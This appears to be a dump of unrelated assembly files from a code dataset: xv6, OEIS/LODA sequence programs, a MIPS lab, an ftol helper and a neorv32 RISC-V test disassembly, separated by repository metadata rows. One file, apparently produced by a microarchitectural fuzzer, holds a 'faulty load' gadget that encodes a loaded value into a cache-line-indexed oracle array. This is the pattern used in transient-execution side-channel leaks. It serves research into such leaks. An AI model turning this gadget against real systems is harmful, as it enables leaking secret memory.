return val;
2615: 8b 45 f4 mov -0xc(%ebp),%eax
2618: eb 05 jmp 261f <pop_q+0x77>
}
return -1;
261a: b8 ff ff ff ff mov $0xffffffff,%eax
}
261f: c9 leave
2620: c3 ret
| 38.605758 | 84 | 0.450968 | [
"MIT-0"
] | jhsie007/xv6 | h2o.asm | 100,568 | Assembly |
; A179449: Decimal expansion of the volume of great icosahedron with edge length 1.
; Submitted by Christian Krause
; 3,1,8,3,0,5,0,0,9,3,7,5,0,8,7,6,2,6,4,9,6,1,7,7,6,3,8,0,2,8,6,3,4,9,0,1,8,9,9,7,4,2,3,5,0,1,6,1,8,6,4,2,8,1,5,5,3,7,9,2,8,1,4,4,1,2,2,8,2,9,4,7,6,5,0,9,1,4,6,2,5,2,4,3,9,9,3,9,9,6,5,0,8,8,4,0,7,1,8,7
add $0,2
mov $2,1
mov $3,$0
mul $3,4
lpb $3
mul $1,$3
mul $2,$3
add $1,$2
div $1,$0
div $2,$0
add $2,$1
sub $3,1
lpe
add $2,$1
div $1,12
mov $4,10
pow $4,$0
div $2,$4
div $1,$2
mod $1,10
mov $0,$1
| 20.384615 | 201 | 0.562264 | [
"Apache-2.0"
] | ckrause/loda-programs | oeis/179/A179449.asm | 530 | Assembly |
# Lab 5
# Bit Manipulation (sb-exp-man) -> (man-exp-sb)
# lab lab
.text
main:
li $v0, 5
syscall
move $a0, $v0
srl $t0, $a0, 31 #sb
sll $t1, $a0, 9 #man
sll $t2, $a0, 1
andi $t2, $t2, 0xff800000
srl $t2, $t2, 23 #exp
or $a0, $t0, $t1
or $a0, $a0, $t2
li $v0, 1
syscall
li $v0, 10
syscall
| 12.038462 | 47 | 0.543131 | [
"MIT"
] | rizarae/rizarae.github.io | CS21/asm/bm.asm | 313 | Assembly |
; A054879: Closed walks of length 2n along the edges of a cube based at a vertex.
; 1,3,21,183,1641,14763,132861,1195743,10761681,96855123,871696101,7845264903,70607384121,635466457083,5719198113741,51472783023663,463255047212961,4169295424916643,37523658824249781,337712929418248023,3039416364764232201,27354747282878089803,246192725545902808221,2215734529913125273983,19941610769218127465841,179474496922963147192563,1615270472306668324733061,14537434250760014922597543,130836908256840134303377881,1177532174311561208730400923,10597789568804050878573608301,95380106119236457907162474703,858420955073128121164462272321,7725788595658153090480160450883,69532097360923377814321444057941,625788876248310400328892996521463,5632099886234793602960036968693161,50688898976113142426640332718238443,456200090785018281839762994464145981
mov $1,9
pow $1,$0
div $1,8
mul $1,2
add $1,1
mov $0,$1
| 88.4 | 744 | 0.900452 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/054/A054879.asm | 884 | Assembly |
; Implementation of float-to-integer conversion as needed by MSVC.
global __ftol2
global __ftol2_sse
section ftol text
__ftol2:
__ftol2_sse:
push eax
fisttp dword [esp]
pop eax
cdq
ret
| 13.0625 | 67 | 0.717703 | [
"MIT"
] | in4k/SailingBeyond | Outside/src/ftol.asm | 209 | Assembly |
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r8
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0xd1e3, %rsi
lea addresses_D_ht+0x12053, %rdi
nop
nop
cmp %r12, %r12
mov $100, %rcx
rep movsq
sub %r10, %r10
lea addresses_normal_ht+0x1d8c3, %r8
and $15945, %rbp
mov (%r8), %edi
nop
nop
nop
nop
inc %r8
lea addresses_D_ht+0x127c3, %rsi
lea addresses_WC_ht+0x184c3, %rdi
clflush (%rdi)
xor $45284, %rax
mov $46, %rcx
rep movsq
nop
nop
cmp $39267, %rax
lea addresses_D_ht+0x17143, %r8
xor %r12, %r12
movl $0x61626364, (%r8)
nop
nop
nop
nop
nop
and $26143, %rsi
lea addresses_D_ht+0x4163, %r10
nop
nop
nop
add $47315, %rdi
movups (%r10), %xmm0
vpextrq $1, %xmm0, %rbp
nop
nop
nop
nop
lfence
lea addresses_UC_ht+0x1eebb, %rdi
nop
xor $25819, %rax
mov $0x6162636465666768, %r10
movq %r10, (%rdi)
nop
nop
nop
nop
nop
sub %r8, %r8
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r8
push %r9
push %rax
push %rbp
push %rbx
push %rsi
// Load
mov $0x4c3, %rax
nop
nop
sub $24657, %rbx
movups (%rax), %xmm2
vpextrq $0, %xmm2, %r8
sub %rax, %rax
// Store
lea addresses_UC+0x23a3, %rbp
nop
nop
nop
nop
nop
sub $22968, %r12
mov $0x5152535455565758, %rbx
movq %rbx, %xmm3
vmovups %ymm3, (%rbp)
nop
nop
xor $9898, %rsi
// Store
lea addresses_PSE+0x1a98b, %rbp
nop
nop
add $64071, %rax
movl $0x51525354, (%rbp)
nop
nop
nop
xor $61588, %r9
// Store
lea addresses_WC+0x18936, %rbp
cmp $24708, %rax
mov $0x5152535455565758, %r9
movq %r9, %xmm2
movaps %xmm2, (%rbp)
nop
nop
nop
cmp %rbp, %rbp
// Load
lea addresses_WC+0x6cc3, %rax
nop
nop
nop
nop
nop
cmp %r12, %r12
mov (%rax), %ebp
nop
nop
inc %rsi
// Store
lea addresses_PSE+0x1c903, %rbp
nop
sub %r9, %r9
mov $0x5152535455565758, %r12
movq %r12, %xmm3
movups %xmm3, (%rbp)
sub %rbp, %rbp
// Faulty Load
mov $0x4c3, %rax
nop
nop
nop
nop
nop
dec %rsi
movntdqa (%rax), %xmm6
vpextrq $1, %xmm6, %rbp
lea oracles, %rsi
and $0xff, %rbp
shlq $12, %rbp
mov (%rsi,%rbp,1), %rbp
pop %rsi
pop %rbx
pop %rbp
pop %rax
pop %r9
pop %r8
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_P', 'same': False, 'size': 8, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_P', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_UC', 'same': False, 'size': 32, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_PSE', 'same': False, 'size': 4, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC', 'same': False, 'size': 4, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_PSE', 'same': False, 'size': 16, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_P', 'same': True, 'size': 16, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 16, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 8, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'46': 59, '00': 19113, '45': 2657}
00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 45 00 00 00 00 45 00 00 00 45 00 00 00 00 00 00 00 00 45 45 45 45 00 00 00 00 00 00 45 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 45 00 00 00 45 00 45 00 45 00 00 00 45 00 45 45 00 00 00 45 00 45 00 00 00 45 45 00 00 00 00 00 00 45 45 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 45 45 00 00 00 45 00 00 00 00 00 00 00 45 45 00 00 00 00 45 45 00 00 00 45 00 45 00 45 00 00 45 00 00 45 45 00 00 45 00 00 00 00 00 45 00 00 45 45 00 00 45 45 00 00 00 00 45 00 00 00 00 00 00 45 45 00 00 46 00 00 00 00 45 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 45 00 45 45 00 00 00 00 00 00 45 00 00 45 46 45 00 45 00 00 45 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 45 00 00 00 45 45 00 00 00 00 00 45 00 45 00 00 45 00 00 00 00 00 45 00 00 00 00 45 00 00 00 45 00 00 00 45 00 00 45 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 45 45 00 00 00 00 00 00 45 45 00 00 00 45 45 45 00 00 00 00 00 45 00 00 00 00 00 00 00 00 45 00 00 45 00 00 45 00 00 45 45 00 00 00 45 00 45 00 45 00 00 45 00 00 00 45 00 00 45 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 45 00 00 45 00 00 00 00 00 00 00 00 00 45 00 00 00 45 45 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 45 00 00 00 00 00 00 00 45 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 45 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 45 00 00 00 45 45 00 00 00 00 00 45 45 00 00 46 45 00 00 00 00 00 00 46 45 00 00 00 00 00 00 00 45 00 00 45 00 00 00 45 00 45 00 00 00 00 00 45 00 00 00 45 00 45 46 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 45 45 00 00 00 00 45 00 00 45 00 00 00 00 00 00 00 45 00 00 00 00 00 00 45 00 00 45 00 45 45 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 45 00 45 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 45 00 00 45 00 00 00 45 00 00 45 00 00 00 00 00 00 00 45 00 00 00 00 00 45 00 45 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 45 00 00 45 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 45 45 45 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 45
*/
| 34.706468 | 2,999 | 0.65195 | [
"MIT"
] | danielmgmi/medusa | Transynther/_processed/AVXALIGN/_ht_zr_/i3-7100_9_0x84_notsx.log_21829_1765.asm | 6,976 | Assembly |
; A047605: Numbers that are congruent to {0, 2, 3, 5} mod 8.
; 0,2,3,5,8,10,11,13,16,18,19,21,24,26,27,29,32,34,35,37,40,42,43,45,48,50,51,53,56,58,59,61,64,66,67,69,72,74,75,77,80,82,83,85,88,90,91,93,96,98,99,101,104,106,107,109,112,114,115,117,120,122,123
mov $1,$0
add $1,$0
bin $0,2
gcd $0,2
add $1,$0
sub $1,2
| 31.7 | 197 | 0.640379 | [
"Apache-2.0"
] | jmorken/loda | programs/oeis/047/A047605.asm | 317 | Assembly |
main.elf: file format elf32-littleriscv
Disassembly of section .text:
00000000 <_start>:
0: 00000037 lui zero,0x0
00000004 <__crt0_pointer_init>:
4: 80002117 auipc sp,0x80002
8: ff810113 addi sp,sp,-8 # 80001ffc <__ctr0_io_space_begin+0x800021fc>
c: 80000197 auipc gp,0x80000
10: 7f418193 addi gp,gp,2036 # 80000800 <__ctr0_io_space_begin+0x80000a00>
00000014 <__crt0_cpu_csr_init>:
14: 00000517 auipc a0,0x0
18: 12450513 addi a0,a0,292 # 138 <__crt0_dummy_trap_handler>
1c: 30551073 csrw mtvec,a0
20: 34151073 csrw mepc,a0
24: 30001073 csrw mstatus,zero
28: 30401073 csrw mie,zero
2c: 30601073 csrw mcounteren,zero
30: ffa00593 li a1,-6
34: 32059073 csrw mcountinhibit,a1
38: b0001073 csrw mcycle,zero
3c: b8001073 csrw mcycleh,zero
40: b0201073 csrw minstret,zero
44: b8201073 csrw minstreth,zero
00000048 <__crt0_reg_file_clear>:
48: 00000093 li ra,0
4c: 00000213 li tp,0
50: 00000293 li t0,0
54: 00000313 li t1,0
58: 00000393 li t2,0
5c: 00000713 li a4,0
60: 00000793 li a5,0
64: 00000813 li a6,0
68: 00000893 li a7,0
6c: 00000913 li s2,0
70: 00000993 li s3,0
74: 00000a13 li s4,0
78: 00000a93 li s5,0
7c: 00000b13 li s6,0
80: 00000b93 li s7,0
84: 00000c13 li s8,0
88: 00000c93 li s9,0
8c: 00000d13 li s10,0
90: 00000d93 li s11,0
94: 00000e13 li t3,0
98: 00000e93 li t4,0
9c: 00000f13 li t5,0
a0: 00000f93 li t6,0
000000a4 <__crt0_reset_io>:
a4: 00000417 auipc s0,0x0
a8: d5c40413 addi s0,s0,-676 # fffffe00 <__ctr0_io_space_begin+0x0>
ac: 00000497 auipc s1,0x0
b0: f5448493 addi s1,s1,-172 # 0 <_start>
000000b4 <__crt0_reset_io_loop>:
b4: 00042023 sw zero,0(s0)
b8: 00440413 addi s0,s0,4
bc: fe941ce3 bne s0,s1,b4 <__crt0_reset_io_loop>
000000c0 <__crt0_clear_bss>:
c0: 80000597 auipc a1,0x80000
c4: f4858593 addi a1,a1,-184 # 80000008 <__ctr0_io_space_begin+0x80000208>
c8: 91018613 addi a2,gp,-1776 # 80000110 <__BSS_END__>
000000cc <__crt0_clear_bss_loop>:
cc: 00c5d863 bge a1,a2,dc <__crt0_clear_bss_loop_end>
d0: 00058023 sb zero,0(a1)
d4: 00158593 addi a1,a1,1
d8: ff5ff06f j cc <__crt0_clear_bss_loop>
000000dc <__crt0_clear_bss_loop_end>:
dc: 00005597 auipc a1,0x5
e0: b8058593 addi a1,a1,-1152 # 4c5c <__crt0_copy_data_src_begin>
e4: 80000617 auipc a2,0x80000
e8: f1c60613 addi a2,a2,-228 # 80000000 <__ctr0_io_space_begin+0x80000200>
ec: 80000697 auipc a3,0x80000
f0: f1c68693 addi a3,a3,-228 # 80000008 <__ctr0_io_space_begin+0x80000208>
000000f4 <__crt0_copy_data_loop>:
f4: 00d65c63 bge a2,a3,10c <__crt0_copy_data_loop_end>
f8: 00058703 lb a4,0(a1)
fc: 00e60023 sb a4,0(a2)
100: 00158593 addi a1,a1,1
104: 00160613 addi a2,a2,1
108: fedff06f j f4 <__crt0_copy_data_loop>
0000010c <__crt0_copy_data_loop_end>:
10c: 00000513 li a0,0
110: 00000593 li a1,0
114: 07c000ef jal ra,190 <main>
00000118 <__crt0_main_aftermath>:
118: 34051073 csrw mscratch,a0
11c: 00001097 auipc ra,0x1
120: 7c008093 addi ra,ra,1984 # 18dc <__neorv32_crt0_after_main>
124: 00008463 beqz ra,12c <__crt0_main_aftermath_end>
128: 000080e7 jalr ra
0000012c <__crt0_main_aftermath_end>:
12c: 30047073 csrci mstatus,8
00000130 <__crt0_main_aftermath_end_loop>:
130: 10500073 wfi
134: ffdff06f j 130 <__crt0_main_aftermath_end_loop>
00000138 <__crt0_dummy_trap_handler>:
138: ff810113 addi sp,sp,-8
13c: 00812023 sw s0,0(sp)
140: 00912223 sw s1,4(sp)
144: 34202473 csrr s0,mcause
148: 02044663 bltz s0,174 <__crt0_dummy_trap_handler_irq>
14c: 34102473 csrr s0,mepc
00000150 <__crt0_dummy_trap_handler_exc_c_check>:
150: 00041483 lh s1,0(s0)
154: 0034f493 andi s1,s1,3
158: 00240413 addi s0,s0,2
15c: 34141073 csrw mepc,s0
160: 00300413 li s0,3
164: 00941863 bne s0,s1,174 <__crt0_dummy_trap_handler_irq>
00000168 <__crt0_dummy_trap_handler_exc_uncrompressed>:
168: 34102473 csrr s0,mepc
16c: 00240413 addi s0,s0,2
170: 34141073 csrw mepc,s0
00000174 <__crt0_dummy_trap_handler_irq>:
174: 00012403 lw s0,0(sp)
178: 00412483 lw s1,4(sp)
17c: 00810113 addi sp,sp,8
180: 30200073 mret
184: 0000 unimp
186: 0000 unimp
188: 0000 unimp
18a: 0000 unimp
18c: 0000 unimp
18e: 0000 unimp
00000190 <main>:
190: fd010113 addi sp,sp,-48
194: 02112623 sw ra,44(sp)
198: 02812423 sw s0,40(sp)
19c: 02912223 sw s1,36(sp)
1a0: 03212023 sw s2,32(sp)
1a4: 01312e23 sw s3,28(sp)
1a8: 01412c23 sw s4,24(sp)
1ac: 30047073 csrci mstatus,8
1b0: 00000013 nop
1b4: 00000013 nop
1b8: 00005537 lui a0,0x5
1bc: 00000613 li a2,0
1c0: 00000593 li a1,0
1c4: b0050513 addi a0,a0,-1280 # 4b00 <symbols.0+0x8bc>
1c8: 3b5010ef jal ra,1d7c <neorv32_uart0_setup>
1cc: fa002783 lw a5,-96(zero) # ffffffa0 <__ctr0_io_space_begin+0x1a0>
1d0: fcf02823 sw a5,-48(zero) # ffffffd0 <__ctr0_io_space_begin+0x1d0>
1d4: 3d5020ef jal ra,2da8 <neorv32_rte_setup>
1d8: 00000513 li a0,0
1dc: 3d8030ef jal ra,35b4 <neorv32_rte_check_isa>
1e0: 00004537 lui a0,0x4
1e4: 8cc50513 addi a0,a0,-1844 # 38cc <__etext+0x24>
1e8: 4cd010ef jal ra,1eb4 <neorv32_uart0_printf>
1ec: 00004537 lui a0,0x4
1f0: 8e450513 addi a0,a0,-1820 # 38e4 <__etext+0x3c>
1f4: 4c1010ef jal ra,1eb4 <neorv32_uart0_printf>
1f8: 00000793 li a5,0
1fc: 32079073 csrw mcountinhibit,a5
200: 00700793 li a5,7
204: 30679073 csrw mcounteren,a5
208: fff00513 li a0,-1
20c: fff00593 li a1,-1
210: 201010ef jal ra,1c10 <neorv32_mtime_set_timecmp>
214: 00000513 li a0,0
218: 00000593 li a1,0
21c: 1b5010ef jal ra,1bd0 <neorv32_mtime_set_time>
220: 298030ef jal ra,34b8 <neorv32_rte_print_logo>
224: 264030ef jal ra,3488 <neorv32_rte_print_credits>
228: 479020ef jal ra,2ea0 <neorv32_rte_print_hw_config>
22c: 00004537 lui a0,0x4
230: 90450513 addi a0,a0,-1788 # 3904 <__etext+0x5c>
234: 481010ef jal ra,1eb4 <neorv32_uart0_printf>
238: 00000493 li s1,0
23c: 00000413 li s0,0
240: 000029b7 lui s3,0x2
244: 01d00913 li s2,29
248: 00040513 mv a0,s0
24c: 81898593 addi a1,s3,-2024 # 1818 <global_trap_handler>
250: 00140413 addi s0,s0,1
254: 2fd020ef jal ra,2d50 <neorv32_rte_exception_install>
258: 0ff47413 andi s0,s0,255
25c: 00a484b3 add s1,s1,a0
260: ff2414e3 bne s0,s2,248 <main+0xb8>
264: 02048a63 beqz s1,298 <main+0x108>
268: 00004537 lui a0,0x4
26c: 91450513 addi a0,a0,-1772 # 3914 <__etext+0x6c>
270: 445010ef jal ra,1eb4 <neorv32_uart0_printf>
274: 00100513 li a0,1
278: 02c12083 lw ra,44(sp)
27c: 02812403 lw s0,40(sp)
280: 02412483 lw s1,36(sp)
284: 02012903 lw s2,32(sp)
288: 01c12983 lw s3,28(sp)
28c: 01812a03 lw s4,24(sp)
290: 03010113 addi sp,sp,48
294: 00008067 ret
298: 00000513 li a0,0
29c: 5b4010ef jal ra,1850 <sim_irq_trigger>
2a0: 30449073 csrw mie,s1
2a4: 00004537 lui a0,0x4
2a8: 91c50513 addi a0,a0,-1764 # 391c <__etext+0x74>
2ac: 409010ef jal ra,1eb4 <neorv32_uart0_printf>
2b0: 0000100f fence.i
2b4: 30046073 csrsi mstatus,8
2b8: 00000013 nop
2bc: 00000013 nop
2c0: 34249073 csrw mcause,s1
2c4: 8101a583 lw a1,-2032(gp) # 80000010 <cnt_test>
2c8: 00004537 lui a0,0x4
2cc: 93050513 addi a0,a0,-1744 # 3930 <__etext+0x88>
2d0: 3e5010ef jal ra,1eb4 <neorv32_uart0_printf>
2d4: 3b4020ef jal ra,2688 <neorv32_cpu_hpm_get_counters>
2d8: 80a1aa23 sw a0,-2028(gp) # 80000014 <num_hpm_cnts_global>
2dc: 81018413 addi s0,gp,-2032 # 80000010 <cnt_test>
2e0: 00051463 bnez a0,2e8 <main+0x158>
2e4: 3340106f j 1618 <main+0x1488>
2e8: 00042783 lw a5,0(s0)
2ec: 00178793 addi a5,a5,1
2f0: 00f42023 sw a5,0(s0)
2f4: b0349073 csrw mhpmcounter3,s1
2f8: 00800793 li a5,8
2fc: 32379073 csrw mhpmevent3,a5
300: b0449073 csrw mhpmcounter4,s1
304: 01000793 li a5,16
308: 32479073 csrw mhpmevent4,a5
30c: b0549073 csrw mhpmcounter5,s1
310: 02000793 li a5,32
314: 32579073 csrw mhpmevent5,a5
318: b0649073 csrw mhpmcounter6,s1
31c: 04000793 li a5,64
320: 32679073 csrw mhpmevent6,a5
324: b0749073 csrw mhpmcounter7,s1
328: 08000793 li a5,128
32c: 32779073 csrw mhpmevent7,a5
330: b0849073 csrw mhpmcounter8,s1
334: 10000793 li a5,256
338: 32879073 csrw mhpmevent8,a5
33c: b0949073 csrw mhpmcounter9,s1
340: 20000793 li a5,512
344: 32979073 csrw mhpmevent9,a5
348: b0a49073 csrw mhpmcounter10,s1
34c: 40000793 li a5,1024
350: 32a79073 csrw mhpmevent10,a5
354: b0b49073 csrw mhpmcounter11,s1
358: 000017b7 lui a5,0x1
35c: 80078713 addi a4,a5,-2048 # 800 <main+0x670>
360: 32b71073 csrw mhpmevent11,a4
364: b0c49073 csrw mhpmcounter12,s1
368: 32c79073 csrw mhpmevent12,a5
36c: b0d49073 csrw mhpmcounter13,s1
370: 000027b7 lui a5,0x2
374: 32d79073 csrw mhpmevent13,a5
378: b0e49073 csrw mhpmcounter14,s1
37c: 000047b7 lui a5,0x4
380: 32e79073 csrw mhpmevent14,a5
384: 32049073 csrw mcountinhibit,s1
388: 342027f3 csrr a5,mcause
38c: 00078463 beqz a5,394 <main+0x204>
390: 2800106f j 1610 <main+0x1480>
394: 4d0010ef jal ra,1864 <test_ok>
398: 00000793 li a5,0
39c: 34279073 csrw mcause,a5
3a0: 00042583 lw a1,0(s0)
3a4: 00004537 lui a0,0x4
3a8: 95850513 addi a0,a0,-1704 # 3958 <__etext+0xb0>
3ac: 309010ef jal ra,1eb4 <neorv32_uart0_printf>
3b0: 00042783 lw a5,0(s0)
3b4: 00178793 addi a5,a5,1 # 4001 <__etext+0x759>
3b8: 00f42023 sw a5,0(s0)
3bc: 3200f073 csrci mcountinhibit,1
3c0: fff00513 li a0,-1
3c4: 00000593 li a1,0
3c8: 691010ef jal ra,2258 <neorv32_cpu_set_mcycle>
3cc: b8002773 csrr a4,mcycleh
3d0: 00100793 li a5,1
3d4: 00f70463 beq a4,a5,3dc <main+0x24c>
3d8: 2500106f j 1628 <main+0x1498>
3dc: 342027f3 csrr a5,mcause
3e0: 00078463 beqz a5,3e8 <main+0x258>
3e4: 2440106f j 1628 <main+0x1498>
3e8: 47c010ef jal ra,1864 <test_ok>
3ec: 00000793 li a5,0
3f0: 34279073 csrw mcause,a5
3f4: 00042583 lw a1,0(s0)
3f8: 00004537 lui a0,0x4
3fc: 97050513 addi a0,a0,-1680 # 3970 <__etext+0xc8>
400: 2b5010ef jal ra,1eb4 <neorv32_uart0_printf>
404: 00042783 lw a5,0(s0)
408: 00178793 addi a5,a5,1
40c: 00f42023 sw a5,0(s0)
410: 32027073 csrci mcountinhibit,4
414: fff00513 li a0,-1
418: 00000593 li a1,0
41c: 651010ef jal ra,226c <neorv32_cpu_set_minstret>
420: c8202773 rdinstreth a4
424: 00100793 li a5,1
428: 00f70463 beq a4,a5,430 <main+0x2a0>
42c: 2040106f j 1630 <main+0x14a0>
430: 342027f3 csrr a5,mcause
434: 00078463 beqz a5,43c <main+0x2ac>
438: 1f80106f j 1630 <main+0x14a0>
43c: 428010ef jal ra,1864 <test_ok>
440: 00000793 li a5,0
444: 34279073 csrw mcause,a5
448: 00042583 lw a1,0(s0)
44c: 00004537 lui a0,0x4
450: 98850513 addi a0,a0,-1656 # 3988 <__etext+0xe0>
454: 261010ef jal ra,1eb4 <neorv32_uart0_printf>
458: 00042783 lw a5,0(s0)
45c: 00178793 addi a5,a5,1
460: 00f42023 sw a5,0(s0)
464: 320027f3 csrr a5,mcountinhibit
468: 0017e793 ori a5,a5,1
46c: 32079073 csrw mcountinhibit,a5
470: c0002773 rdcycle a4
474: 00000013 nop
478: 00000013 nop
47c: c00027f3 rdcycle a5
480: 00e78463 beq a5,a4,488 <main+0x2f8>
484: 1b40106f j 1638 <main+0x14a8>
488: 00079463 bnez a5,490 <main+0x300>
48c: 1ac0106f j 1638 <main+0x14a8>
490: 342027f3 csrr a5,mcause
494: 00078463 beqz a5,49c <main+0x30c>
498: 1a00106f j 1638 <main+0x14a8>
49c: 3c8010ef jal ra,1864 <test_ok>
4a0: 320027f3 csrr a5,mcountinhibit
4a4: ffe7f793 andi a5,a5,-2
4a8: 32079073 csrw mcountinhibit,a5
4ac: 00000793 li a5,0
4b0: 34279073 csrw mcause,a5
4b4: 00042583 lw a1,0(s0)
4b8: 00004537 lui a0,0x4
4bc: 9a450513 addi a0,a0,-1628 # 39a4 <__etext+0xfc>
4c0: 1f5010ef jal ra,1eb4 <neorv32_uart0_printf>
4c4: 00042783 lw a5,0(s0)
4c8: 00178793 addi a5,a5,1
4cc: 00f42023 sw a5,0(s0)
4d0: 306027f3 csrr a5,mcounteren
4d4: ffe7f793 andi a5,a5,-2
4d8: 30679073 csrw mcounteren,a5
4dc: 00100793 li a5,1
4e0: c0079073 csrw cycle,a5
4e4: 59d010ef jal ra,2280 <neorv32_cpu_goto_user_mode>
4e8: 00000493 li s1,0
4ec: c00024f3 rdcycle s1
4f0: 00048c63 beqz s1,508 <main+0x378>
4f4: 00004537 lui a0,0x4
4f8: 01b00613 li a2,27
4fc: 01b00593 li a1,27
500: 9c050513 addi a0,a0,-1600 # 39c0 <__etext+0x118>
504: 1b1010ef jal ra,1eb4 <neorv32_uart0_printf>
508: 34202773 csrr a4,mcause
50c: 00200793 li a5,2
510: 00f70463 beq a4,a5,518 <main+0x388>
514: 12c0106f j 1640 <main+0x14b0>
518: 00048463 beqz s1,520 <main+0x390>
51c: 1240106f j 1640 <main+0x14b0>
520: 344010ef jal ra,1864 <test_ok>
524: 306027f3 csrr a5,mcounteren
528: 0017e793 ori a5,a5,1
52c: 30679073 csrw mcounteren,a5
530: 00000793 li a5,0
534: 34279073 csrw mcause,a5
538: 00042583 lw a1,0(s0)
53c: 00004537 lui a0,0x4
540: 9e050513 addi a0,a0,-1568 # 39e0 <__etext+0x138>
544: 171010ef jal ra,1eb4 <neorv32_uart0_printf>
548: 00042783 lw a5,0(s0)
54c: 00178793 addi a5,a5,1
550: 00f42023 sw a5,0(s0)
554: 52d010ef jal ra,2280 <neorv32_cpu_goto_user_mode>
558: 30200073 mret
55c: 34202773 csrr a4,mcause
560: 00200793 li a5,2
564: 00f70463 beq a4,a5,56c <main+0x3dc>
568: 0e00106f j 1648 <main+0x14b8>
56c: 2f8010ef jal ra,1864 <test_ok>
570: 00000793 li a5,0
574: 34279073 csrw mcause,a5
578: 00042583 lw a1,0(s0)
57c: 00004537 lui a0,0x4
580: 90000637 lui a2,0x90000
584: 9f850513 addi a0,a0,-1544 # 39f8 <__etext+0x150>
588: 12d010ef jal ra,1eb4 <neorv32_uart0_printf>
58c: fe802783 lw a5,-24(zero) # ffffffe8 <__ctr0_io_space_begin+0x1e8>
590: 0027f793 andi a5,a5,2
594: 00079463 bnez a5,59c <main+0x40c>
598: 0d80106f j 1670 <main+0x14e0>
59c: 00042783 lw a5,0(s0)
5a0: 90000737 lui a4,0x90000
5a4: 00178793 addi a5,a5,1
5a8: 00f42023 sw a5,0(s0)
5ac: 800007b7 lui a5,0x80000
5b0: 00078793 mv a5,a5
5b4: 0007a683 lw a3,0(a5) # 80000000 <__ctr0_io_space_begin+0x80000200>
5b8: 0047a783 lw a5,4(a5)
5bc: 00d72023 sw a3,0(a4) # 90000000 <__ctr0_io_space_begin+0x90000200>
5c0: 00f72223 sw a5,4(a4)
5c4: 000700e7 jalr a4
5c8: 342027f3 csrr a5,mcause
5cc: 00078463 beqz a5,5d4 <main+0x444>
5d0: 0940106f j 1664 <main+0x14d4>
5d4: 34002773 csrr a4,mscratch
5d8: 00f00793 li a5,15
